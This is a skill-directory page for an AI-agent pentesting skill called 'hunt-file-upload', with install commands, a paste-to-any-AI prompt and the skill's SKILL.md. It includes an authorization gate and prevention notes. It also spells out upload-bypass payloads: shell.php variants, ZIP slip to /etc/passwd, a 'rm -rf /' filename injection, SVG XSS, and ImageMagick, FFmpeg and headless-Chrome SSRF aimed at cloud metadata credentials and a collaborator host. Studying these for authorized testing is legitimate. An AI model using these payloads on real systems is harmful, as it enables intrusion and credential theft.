Skip to content
Skillpedia
Security48k · #3257

hunt-file-upload

Helps your agent find flaws in file uploads. It prevents malicious files from being uploaded to systems.

What it does

This tool helps find security flaws in how websites handle files uploaded by users. It tests different ways to trick the website into accepting malicious files.

When to use it

  • ✓When testing a website's security.
  • ✓To check if a website accepts dangerous files.
  • ✓To understand how a website protects against malicious file uploads.

Example of what to ask your AI

“I want to test file uploads on example.com. What techniques can you use?”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-file-upload/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-file-upload/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

The tool tries sending files with unusual names or types to see if the website accepts them. It can also try using file formats that trick the website, like images containing malicious code.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add sickn33/agentic-awesome-skills --skill hunt-file-upload

Or download just the file:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-file-upload/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

9. FILE UPLOAD

Content-Type Bypass

filename=shell.php, Content-Type: image/jpeg  → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5   → extension variants

File Upload Bypass Techniques (10 techniques)

Attack How Prevention
Extension bypass shell.php.jpg, shell.pHp, shell.php5 Allowlist + extract final extension
Null byte shell.php%00.jpg Sanitize null bytes
Double extension shell.jpg.php Only allow single extension
MIME spoof Content-Type: image/jpeg with .php body Validate magic bytes, not MIME header
Magic bytes prefix Prepend GIF89a; to PHP code Parse whole file, not just header
Polyglot Valid as JPEG and PHP Process as image lib, reject if invalid
SVG JavaScript <svg onload="..."> Sanitize SVG or disallow entirely
XXE in DOCX Malicious XML in Office ZIP Disable external entities
ZIP slip ../../../etc/passwd in archive Validate extracted paths
Filename injection ; rm -rf / in filename Sanitize + use UUID names

Magic Bytes Reference

Type Hex
JPEG FF D8 FF
PNG 89 50 4E 47 0D 0A 1A 0A
GIF 47 49 46 38
PDF 25 50 44 46
ZIP/DOCX/XLSX 50 4B 03 04

Stored XSS via SVG

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

ImageMagick / FFmpeg Exploitation

ImageMagick SSRF / File Read (ImageTragick family + modern variants)

# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF

# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF

# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC

FFmpeg SSRF via HLS Playlist

# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF

# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF

# Test: upload .m3u8 or video file to any video processing endpoint

Headless Chrome / PDF Generator SSRF

HTML → PDF Converter Attacks

# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources

# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'

# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'

# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'

# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>

…
FAQ

Why do I need permission to use this tool?

Using this tool without permission can be illegal and harmful. It's designed for authorized security testing and educational purposes.

What is a file upload 'bypass'?

It's a technique to make a website accept a file it would normally reject, by exploiting weaknesses in its security checks.

What are 'magic bytes'?

These are sequences of bytes at the beginning of a file that identify its actual type. The tool might try to trick the website about the file type, even if the 'magic bytes' are correct.

Details

Original description by the author

Hunt file upload bugs

repo: sickn33/agentic-awesome-skills

Popularity

GitHub stars
48k
Ranking position
#3257
License
MIT
Updated
10/15/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills